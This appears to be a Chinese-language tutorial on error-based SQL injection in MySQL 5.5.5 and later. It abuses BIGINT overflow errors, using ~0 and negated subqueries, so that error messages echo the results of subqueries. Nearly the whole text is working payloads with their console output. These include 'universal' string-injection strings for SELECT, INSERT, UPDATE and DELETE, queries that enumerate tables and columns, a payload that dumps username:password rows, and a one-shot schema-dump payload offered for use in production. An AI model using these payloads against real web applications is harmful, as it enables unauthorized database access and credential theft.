mysql大整数溢出报错

MySQL versions 5.5.5 and above only.

首先从sql的数据类型说起,这里用到的是一些整数: 

 

# In decimal
mysql> select 18446744073709551615+1;
  • ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(18446744073709551615 + 1)'
  • # In binary
    1. mysql> select cast(b'1111111111111111111111111111111111111111111111111111111111111111' as unsigned)+1;
    2. ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(cast(0xffffffffffffffff as unsigned) + 1)'
    # In hex
    1. mysql> select cast(x'FFFFFFFFFFFFFFFF' as unsigned)+1;
    2. ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(cast(0xffffffffffffffff as unsigned) + 1)'
    发现用10进制,2进制和16进制测试,均溢出。 为了简写,可以用按位取反0来等价bigint的最大正数边界。
    1. mysql> select ~0;
    2. +----------------------+
    3. | ~0                   |
    4. +----------------------+
    5. | 18446744073709551615 |
    6. +----------------------+
    7. 1 row in set (0.00 sec)
    上面的2处回显比较有意思,可以思考下。

    接着我们用一个非集合的一个特性: 
    mysql> select (select*from(select user())x);
  • +-------------------------------+
  • | (select*from(select user())x) |
  • +-------------------------------+
  • | root@localhost                |
  • +-------------------------------+
  • 1 row in set (0.00 sec)
  • # Applying logical negation
    1. mysql> select !(select*from(select user())x);
    2. +--------------------------------+
    3. | !(select*from(select user())x) |
    4. +--------------------------------+
    5. |                              1 |
    6. +--------------------------------+
    7. 1 row in set (0.00 sec)

     !字符串 = 1, !数字 = 0,  !0 = 1

    根据上面2点,我们就可以来构造我们的注入了。剩下的就只是加法减法的问题了. 
    1. mysql> select ~0+!(select*from(select user())x);
    2. ERROR 1690 (22003): BIGINT value is out of range in '(~(0) + (not((select 'root@localhost' from dual))))'
    上面可以看到,bigint最大值+1 回显出表达式。这里可以这样理解做加减乘除,运算法则首先乘除。
    这里的子查询就类似乘除,那么可靠的回显得到,下面的目标是一个error注入出整个table。

    同样也可以下边界溢出。为什么这么做,在mysql测试时,我们加法减法溢出都可以的。但是在web应用中我们很多时候+被url解码成一个空格,所以用减号显然更方便。
    下面几个payloa,可以构造更多,特别是怎么把select消去
    1. !(select*from(select user())x)-~0   # 1-最大值
    2. (select(!x-~0)from(select(select user())x)a)
    3. (select!x-~0.from(select(select user())x)a)
    一般注入分为4个方向:select insert delete update. 然后就是注入点的各种位置。

    比较万能的字符payload: 
    1. ' or  !(select*from(select user())x)-~0 or '
    上面4种注入随便往输入点丢。(数字型相应调整,更简单) 
  • mysql> select host from mysql.user where 1=1 ;
  • +---------------+
  • | host          |
  • +---------------+
  • | 127.0.0.1     |
  • | 192.168.1.%   |
  • | 192.168.1.228 |
  • | ::1           |
  • | localhost     |
  • | localhost     |
  • | localhost     |
  • | repo          |
  • +---------------+
  • 8 rows in set (0.00 sec)
    1. mysql> select host from mysql.user where 1='' or !(select*from(select user())x)-~0 or '' ;
    2. ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not((select 'root@localhost' from dual))) - ~(0))'
    1. mysql> update mysql.user set host='' or !(select*from(select user())x)-~0 or '' where host='repo';
    2. ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not((select 'root@localhost' from dual))) - ~(0))'
    1. mysql> insert into mysql.user (host) values ('' or !(select*from(select user())x)-~0 or '') ;
    2. ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not((select 'root@localhost' from dual))) - ~(0))'
    1. mysql> delete from mysql.user where host='' or !(select*from(select user())x)-~0 or '';
    2. ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not((select 'root@localhost' from dual))) - ~(0))'
    注意上面都是 1-最大值=下边界溢出

    根据上面的公式,可以知道有种情况不能注入出。比如注入处结果数字,比如蛋疼用length函数,密码是数字等
    1. mysql> select host from mysql.user where 1='' or !(select*from(select length(user()))x)-~0 or '' ;
    作为强迫症,这种情况肯定不能忍受.所以有了下面的改进版payload. 
    1. select !atan((select*from(select user())a))-~0;
    2. select !log((select*from(select user())a))-~0;
    3. select !floor((select*from(select user())a))-~0;
    相应的字符万能payload: 
    1. ' or !atan((select*from(select user())a))-~0 or '
    下面就是实际生产如何获取数据了.
    老生常谈:
    #获取表名 
    !(select*from(select table_name from information_schema.tables where table_schema=database() limit 0,1)x)-~0
    #获取列名 
    1. select !(select*from(select column_name from information_schema.columns where table_name='users' limit 0,1)x)-~0;
    获取数据: 
    1. !(select*from(select concat_ws(':',id, username, password) from users limit 0,1)x)-~0;
    获取每行,用好limit.


    接着就是用一个error注入点,得到table; 由于mysql的特性,吃掉了一部分结果,输出的不是很全。当然,如果注入点是union base的。mysql的返回也是很全的

    下面是作者的payload,用的时候稍微改改就好了 
    !(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x)-~0
    1. (select(!x-~0)from(select(concat (@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat (@,0xa,table_name,0x3a3a,column_name)),@))x)a)
    1. (select!x-~0.from(select(concat (@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat (@,0xa,table_name,0x3a3a,column_name)),@))x)a)
    作者用控制变量法做了2次实验。得到数据的行数与table数据成正相关

    作者总结:不一定只能用取反,不一定只能用加减法。只要上下溢出bigint,就可以子查询出结果。下面是他异或算法的结果.
    mysql> select !1-0^222;
  • ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not(1)) - (0 ^ 222))'
    1. mysql> select !(select*from(select user())a)-0^222;
    2. ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not((select 'root@localhost' from dual))) - (0 ^ 222))'